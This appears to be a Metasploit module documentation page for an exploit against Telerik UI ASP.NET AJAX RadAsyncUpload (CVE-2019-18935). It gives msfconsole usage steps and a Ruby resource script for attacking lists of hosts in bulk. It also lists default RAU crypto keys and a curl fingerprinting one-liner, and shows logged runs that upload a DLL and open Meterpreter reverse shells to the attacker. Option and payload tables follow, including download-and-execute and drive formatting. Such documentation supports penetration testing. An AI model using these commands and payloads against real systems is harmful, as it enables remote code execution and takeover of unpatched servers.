Telerik UI ASP.NET AJAX RadAsyncUpload Deserialization - Metasploit


This page contains detailed information about how to use the exploit/windows/http/telerik_rau_deserialization metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Telerik UI ASP.NET AJAX RadAsyncUpload Deserialization
Module: exploit/windows/http/telerik_rau_deserialization
Source code: modules/exploits/windows/http/telerik_rau_deserialization.rb
Disclosure date: 2019-12-09
Last modification time: 2021-02-24 20:24:57 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-11317, CVE-2019-18935

This module exploits the .NET deserialization vulnerability within the RadAsyncUpload (RAU) component of Telerik UI ASP.NET AJAX that is identified as CVE-2019-18935. In order to do so the module must upload a mixed mode .NET assembly DLL which is then loaded through the deserialization flaw. Uploading the file requires knowledge of the cryptographic keys used by RAU. The default values used by this module are related to CVE-2017-11317, which once patched randomizes these keys. It is also necessary to know the version of Telerik UI ASP.NET that is running. This version number is in the format YYYY.#(.###)? where YYYY is the year of the release (e.g. '2020.3.915').

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • unreliable-session: The module isn't expected to get a shell reliably (such as only once).

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


Using telerik_rau_deserialization against a single host

Normally, you can use exploit/windows/http/telerik_rau_deserialization this way:

msf > use exploit/windows/http/telerik_rau_deserialization
msf exploit(telerik_rau_deserialization) > show targets
    ... a list of targets ...
msf exploit(telerik_rau_deserialization) > set TARGET target-id
msf exploit(telerik_rau_deserialization) > show options
    ... show and set options ...
msf exploit(telerik_rau_deserialization) > exploit

Using telerik_rau_deserialization against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your telerik_rau_deserialization will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/http/telerik_rau_deserialization")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


This module exploits the .NET deserialization vulnerability within the RadAsyncUpload (RAU) component of Telerik UI ASP.NET AJAX that is identified as CVE-2019-18935. In order to do so the module must upload a mixed mode .NET assembly DLL which is then loaded through the deserialization flaw. Uploading the file requires knowledge of the cryptographic keys used by RAU. The default values used by this module are related to CVE-2017-11317, which once patched randomizes these keys. It is also necessary to know the version of Telerik UI ASP.NET that is running. This version number is in the format YYYY.#(.###)? where YYYY is the year of the release (e.g. '2020.3.915').

Version Reference

Version CVE-2017-11317 CVE-2019-18938
< 2011.1.315 Unknown Unknown
2011.1.315 - 2017.2.621 Vulnerable (unless patched and RAU is disabled) Vulnerable
2017.2.711 - 2019.3.917 Configuration-dependent Vulnerable
2019.3.1023 Configuration-dependent Configuration-dependent (opt-in)
> 2020.1.114 Configuration-dependent Configuration-dependent (default)

Configuring Telerik UI ASP.NET AJAX

Starting in version 2020.1.114, the application must be configured to be vulnerable by making changes to its XML configuration file (web.config). For the live demos included within the Telerik UI trial version, this file is located at C:\Program Files (x86)\Progress\Telerik UI for ASP.NET AJAX R3 2020\Live Demos\web.config. Within this configuration file is the appSettings node. To make the instance vulnerable, add the following within this section and restart the application if necessary:

  <appSettings>
    <!-- Configured to replicate CVE-2017-11317 -->
    <add key="Telerik.AsyncUpload.ConfigurationEncryptionKey" value="PrivateKeyForEncryptionOfRadAsyncUploadConfiguration"/>
    <add key="Telerik.Upload.ConfigurationHashKey" value="PrivateKeyForHashOfUploadConfiguration"/>
    <!-- Configured to replicate CVE-2019-18935 -->
    <add key="Telerik.Upload.AllowedCustomMetaDataTypes" value="System.Configuration.Install.AssemblyInstaller"/>
    <!-- ... include the remaining configuration options -->

Verification Steps


Exploitation of this vulnerability requires knowledge of two things, the crypto keys (see the details for the RAU_ENCRYPTION_KEY and RAU_SIGNING_KEY options) and the Telerik RAU ASP.NET AJAX version (see the details for the VERSION option).

  1. Start msfconsole
  2. Do: use exploit/windows/http/telerik_rau_deserialization
  3. Set the RHOSTS and PAYLOAD options
  4. Set any additional options as required by the previously selected payload
  5. Optionally set the VHOST, RPORT and SSL options as appropriate
  6. Set the VERSION option if it is known
  7. Run the exploit

The DLL file which is written to disk and executed via the deserialization flaw will remain loaded and thus can not be cleaned up automatically by Metasploit.

Options


RAU_ENCRYPTION_KEY

The encryption key for the RAU configuration data. This setting can be changed starting in version 2017.1.118 by specifying the Telerik.AsyncUpload.ConfigurationEncryptionKey key within the appSettings section of the applications web.config XML file. The default value per CVE-2017-11317 is PrivateKeyForEncryptionOfRadAsyncUploadConfiguration.

RAU_SIGNING_KEY

The signing key for the RAU configuration data. This setting can be changed starting in version 2017.1.118 by specifying the Telerik.Upload.ConfigurationHashKey key within the appSettings section of the applications web.config XML file. The default value per CVE-2017-11317 is PrivateKeyForHashOfUploadConfiguration. Versions older than 2017.1.118 do not utilize signing.

VERSION

The Telerik UI ASP.NET AJAX version. If this value is not specified, the module will attempt to enumerate it through a series of requests using all known version numbers. This enumeration will fail if the correct crypto keys are not set.

Alternatively, the version information can sometimes be identified without authentication.

If the application using RadAsyncUpload does not require authentication, then you can usually find the UI version buried somewhere in the HTML source of the application's home page. The location of the version string isn't consistent, though, so the best method of locating it is to use Burp to search for the regular expression 20[0-9]{2}(\.[0-9]*)+ (and make sure you check the "Regex" box). You can also accomplish this with cURL:

curl -skL <HOST> | grep -oE '20[0-9]{2}(\.[0-9]*)+'

If that doesn't work, you can alternatively search for the string <script src="/WebResource to identify any JavaScript files that are included in the site's home page. Choose one of the static resources there and examine its Last-Modified date in the HTTP response header; that date should roughly match the release date of the software. For example, a JavaScript resource bundled with UI for ASP.NET AJAX Q1 2013 (v2013.1.220, released on February 20, 2013) will read Last-Modified: Wed, 20 Feb 2013 00:00:00 GMT in the HTTP response header for that file.

Source: https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui

EXE::Custom

This is an advanced option.

Use custom exe instead of automatically generating a payload exe. If a custom payload executable is specified, it must be a mixed mode assembly DLL in order to be loaded through the deserialization technique.

Scenarios


Telerik UI ASP.NET AJAX v2020.3.915 on Windows 10

This system was configured to be vulnerable through changes to the application's web.config file.

msf6 > use exploit/windows/http/telerik_rau_deserialization
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/telerik_rau_deserialization) > set RHOSTS 192.168.159.129
RHOSTS => 192.168.159.129
msf6 exploit(windows/http/telerik_rau_deserialization) > set RPORT 8080
RPORT => 8080
msf6 exploit(windows/http/telerik_rau_deserialization) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf6 exploit(windows/http/telerik_rau_deserialization) > set VHOST win10dev
VHOST => win10dev
msf6 exploit(windows/http/telerik_rau_deserialization) > set VERBOSE true
VERBOSE => true
msf6 exploit(windows/http/telerik_rau_deserialization) > check

[*] Enumerating the Telerik UI ASP.NET AJAX version, this will fail if the keys are incorrect
[*] Checking version: 2020.3.915
[+] Uploaded 0 bytes to: C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp
[+] The Telerik UI ASP.NET AJAX version has been identified as: 2020.3.915
[*] Server is using default crypto keys and is vulnerable to CVE-2017-11317
[*] 192.168.159.129:8080 - The service is running, but could not be validated.
[!] This exploit may require manual cleanup of 'C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp' on the target
msf6 exploit(windows/http/telerik_rau_deserialization) > set VERSION 2020.3.915
VERSION => 2020.3.915
msf6 exploit(windows/http/telerik_rau_deserialization) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(windows/http/telerik_rau_deserialization) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] Uploaded 0 bytes to: C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp
[*] Server is using default crypto keys and is vulnerable to CVE-2017-11317
[!] The service is running, but could not be validated.
[+] Uploaded 29184 bytes to: C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp
[*] Executing the payload...
[*] Sending stage (175174 bytes) to 192.168.159.129
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.129:49466) at 2020-10-07 10:44:31 -0400
[!] This exploit may require manual cleanup of 'C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp' on the target
[!] This exploit may require manual cleanup of 'C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp' on the target
[!] This exploit may require manual cleanup of 'C:\Windows\Temp\B9MWZKcH4FGUFEb1ioFQnZollFxhhl3Pr.dll.tmp' on the target

meterpreter > getuid
Server username: WIN10DEV\smcintyre
meterpreter > sysinfo
Computer        : WIN10DEV
OS              : Windows 10 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the windows/http/telerik_rau_deserialization exploit module looks in the msfconsole:

msf6 > use exploit/windows/http/telerik_rau_deserialization

[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/telerik_rau_deserialization) > show info

       Name: Telerik UI ASP.NET AJAX RadAsyncUpload Deserialization
     Module: exploit/windows/http/telerik_rau_deserialization
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-12-09

Provided by:
  Spencer McIntyre
  Paul Taylor
  Markus Wulftange
  Caleb Gross
  Alvaro Mu��oz
  Oleksandr Mirosh
  straightblast

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 unreliable-session

Available targets:
  Id  Name
  --  ----
  0   Windows

Check supported:
  Yes

Basic options:
  Name                Current Setting                                       Required  Description
  ----                ---------------                                       --------  -----------
  DESTINATION         C:\Windows\Temp                                       yes       The destination folder for the upload
  FILE_NAME                                                                 no        The base file name for the upload (default will be random)
  Proxies                                                                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RAU_ENCRYPTION_KEY  PrivateKeyForEncryptionOfRadAsyncUploadConfiguration  yes       The encryption key for the RAU configuration data
  RAU_SIGNING_KEY     PrivateKeyForHashOfUploadConfiguration                yes       The signing key for the RAU configuration data
  RHOSTS                                                                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT               443                                                   yes       The target port (TCP)
  SSL                 true                                                  no        Negotiate SSL/TLS for outgoing connections
  TARGETURI           /                                                     yes       The base path to the web application
  VERSION                                                                   no        The Telerik UI ASP.NET AJAX version
  VHOST                                                                     no        HTTP server virtual host

Payload information:
  Space: 2048

Description:
  This module exploits the .NET deserialization vulnerability within 
  the RadAsyncUpload (RAU) component of Telerik UI ASP.NET AJAX that 
  is identified as CVE-2019-18935. In order to do so the module must 
  upload a mixed mode .NET assembly DLL which is then loaded through 
  the deserialization flaw. Uploading the file requires knowledge of 
  the cryptographic keys used by RAU. The default values used by this 
  module are related to CVE-2017-11317, which once patched randomizes 
  these keys. It is also necessary to know the version of Telerik UI 
  ASP.NET that is running. This version number is in the format 
  YYYY.#(.###)? where YYYY is the year of the release (e.g. 
  '2020.3.915').

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-11317
  https://github.com/bao7uo/RAU_crypto
  https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
  https://github.com/straightblast/UnRadAsyncUpload/wiki
  https://nvd.nist.gov/vuln/detail/CVE-2019-18935
  https://github.com/noperator/CVE-2019-18935
  https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
  https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html
  https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui

Module Options


This is a complete list of options available in the windows/http/telerik_rau_deserialization exploit:

msf6 exploit(windows/http/telerik_rau_deserialization) > show options

Module options (exploit/windows/http/telerik_rau_deserialization):

   Name                Current Setting                                       Required  Description
   ----                ---------------                                       --------  -----------
   DESTINATION         C:\Windows\Temp                                       yes       The destination folder for the upload
   FILE_NAME                                                                 no        The base file name for the upload (default will be random)
   Proxies                                                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RAU_ENCRYPTION_KEY  PrivateKeyForEncryptionOfRadAsyncUploadConfiguration  yes       The encryption key for the RAU configuration data
   RAU_SIGNING_KEY     PrivateKeyForHashOfUploadConfiguration                yes       The signing key for the RAU configuration data
   RHOSTS                                                                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT               443                                                   yes       The target port (TCP)
   SSL                 true                                                  no        Negotiate SSL/TLS for outgoing connections
   TARGETURI           /                                                     yes       The base path to the web application
   VERSION                                                                   no        The Telerik UI ASP.NET AJAX version
   VHOST                                                                     no        HTTP server virtual host

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows

Advanced Options


Here is a complete list of advanced options supported by the windows/http/telerik_rau_deserialization exploit:

msf6 exploit(windows/http/telerik_rau_deserialization) > show advanced

Module advanced options (exploit/windows/http/telerik_rau_deserialization):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   AutoCheck               true                                                no        Run check before exploit
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FileDropperDelay                                                            no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                               no        Override check result
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/http/telerik_rau_deserialization module can exploit:

msf6 exploit(windows/http/telerik_rau_deserialization) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/telerik_rau_deserialization exploit:

msf6 exploit(windows/http/telerik_rau_deserialization) > show payloads

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   5    payload/windows/adduser                                                      normal  No     Windows Execute net user /ADD
   6    payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   7    payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   8    payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   9    payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   10   payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   11   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   12   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   13   payload/windows/dllinject/bind_tcp_rc4                                       normal  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   14   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   15   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   16   payload/windows/dllinject/reverse_http                                       normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   17   payload/windows/dllinject/reverse_http_proxy_pstore                          normal  No     Reflective DLL Injection, Reverse HTTP Stager Proxy
   18   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   19   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   20   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   21   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   22   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   23   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   24   payload/windows/dllinject/reverse_tcp_rc4                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   25   payload/windows/dllinject/reverse_tcp_rc4_dns                                normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   26   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   27   payload/windows/dllinject/reverse_winhttp                                    normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   28   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   29   payload/windows/download_exec                                                normal  No     Windows Executable Download (http,https,ftp) and Execute
   30   payload/windows/exec                                                         normal  No     Windows Execute Command
   31   payload/windows/format_all_drives                                            manual  No     Windows Drive Formatter
   32   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   33   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   34   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   35   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   36   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   37   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   38   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   39   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   40   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   41   payload/windows/meterpreter/bind_tcp_rc4                                     normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   42   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   43   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   44   payload/windows/meterpreter/reverse_http                                     normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   45   payload/windows/meterpreter/reverse_http_proxy_pstore                        normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
   46   payload/windows/meterpreter/reverse_https                                    normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   47   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   48   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   49   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   50   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   51   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   52   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   53   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   54   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   55   payload/windows/meterpreter/reverse_tcp_rc4                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   56   payload/windows/meterpreter/reverse_tcp_rc4_dns                              normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   57   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   58   payload/windows/meterpreter/reverse_winhttp                                  normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   59   payload/windows/meterpreter/reverse_winhttps                                 normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
   60   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
   61   payload/windows/metsvc_reverse_tcp                                           normal  No     Windows Meterpreter Service, Reverse TCP Inline
   62   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   63   payload/windows/patchupdllinject/bind_hidden_tcp                             normal  No     Windows Inject DLL, Hidden Bind TCP Stager
   64   payload/windows/patchupdllinject/bind_ipv6_tcp                               normal  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   65   payload/windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   66   payload/windows/patchupdllinject/bind_named_pipe                             normal  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
